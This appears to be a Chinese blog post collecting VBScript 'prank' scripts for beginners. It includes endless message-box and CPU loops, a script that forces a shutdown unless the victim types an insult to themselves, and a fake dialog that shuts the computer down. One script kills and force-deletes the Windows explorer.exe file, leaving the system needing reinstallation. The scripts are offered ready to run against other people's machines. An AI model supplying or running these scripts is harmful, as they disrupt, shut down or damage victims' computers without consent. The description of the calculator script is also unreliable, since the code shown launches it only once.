代码大集合

hi，又和大家见面了。这次我把代码全部集合起来，方便初学者学习

1.整人，弹出无数个对话框（建议能不用就不用！）

msgbox"此处文字可修改！”
msgbox"此处文字为提醒文字，可修改"
msgbox"此处文字可修改，也可用msgbox函数加行"
do
msgbox"整人！弹出无数个对话框！（此处文字可修改！）"
loop

2.占用cpu。

do  
loop

3.骂自己是猪（最好不要用！用要谨慎！）

on error resume next   
dim WSHshellA   
set WSHshellA = wscript.createobject("wscript.shell")   
WSHshellA.run "cmd.exe /c shutdown -r -t 6 -c ""说我是猪，不说我是猪就一分钟关你机，不信，试试···"" ",0 ,true   
dim a   
do while(a <> "我是猪")   
a = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪"" ","说不说","不说",8000,7000)   
msgbox "乖"   
loop   
msgbox "早说就行了嘛"   
dim WSHshell   
set WSHshell = wscript.createobject("wscript.shell")   
WSHshell.run "cmd.exe /c shutdown -a",0 ,true   
msgbox  "自己骂自己的不要脸~~~~~~",4, " "

4.电脑英文数数。（这个是最惨的。就是one、tuo……数数，只要不关机就数）

Set s = CreateObject("sapi.spvoice") 
i=0 
 do  
   s.speak i  
   i=i+1 
 loop

5.反着来（这个就是按否就关机了）

if MsgBox("对不起,您灌水太多需要重新启动计算机。"&chr(10)&"确定要重启吗？",vbOKCancel+vbInformation,"重新启动计算机")=vbCancel then  

msgbox "  系统将立刻重起wow ~_^",,"你上当了！！" 
Set objShell = CreateObject("Wscript.Shell") 
objShell.Run "shutdown -s -t 5",,true 
end if

6.弹出无数个计算器软件。（这个直接卡机）

Set ws = CreateObject("Wscript.Shell") 
ws.run "cmd.exe /c call calc.exe",0

7.桌面删除（就是把桌面直接删除，运行了就直接装系统或者一键还原行了！）

set ws=CreateObject("Wscript.Shell") 
ws.run "cmd.exe /c taskkill /f /im explorer.exe",0 
wscript.sleep 900 
ws.run "cmd.exe /c copy %windir%\explorer.exe %windir%\explorer.Data" 
wscript.sleep 1200 
ws.run "cmd.exe /c del /q /f %windir%\explorer.exe"

一览图：

打开记事本

代码大集合

推荐阅读